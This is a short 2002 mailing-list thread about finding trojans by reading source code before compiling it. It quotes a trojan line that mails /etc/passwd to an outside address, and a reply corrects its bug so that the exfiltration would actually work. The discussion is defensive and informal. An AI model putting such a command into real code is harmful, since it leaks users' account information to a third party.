On Wed, Apr 17, 2002 at 03:31:17PM -0700, Anne Carasik wrote:
> On Wed, Apr 17, 2002 at 05:06:03PM -0500, Bryan Andersen wrote:
> > > Compile from source is a good idea too. It's amazing what you
> > > can find in the source. I found a couple of stupid Trojans
> > > that way.
> > > system("mail /etc/passwd [EMAIL PROTECTED]");
> > Yeh, and it's buggy too....
> > Take a close look at what really happens.
>
> I'm sure it is. [EMAIL PROTECTED] doesn't exist. ;)
>
> Seriously, I know it is. The other thing is, I use shadow most of the
> time. Still, the username information is never a good thing to share.
>
I think he is saying that it should be somthing more like
system("mail [EMAIL PROTECTED] < /etc/passwd");
But since i dont really know c, you might not be able to use '<' in
system calls... it seems likey though. The previous version would
try to email user /etc/passwd.
Tim
--
Tim Nicholas || Cilix
Email: [EMAIL PROTECTED] || ICQ# 15869961
http://tim.nicholas.net.nz/ || Dunedin, New Zealand
"Grow up, Larry. You give me too much credit." - Linus Torvalds
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]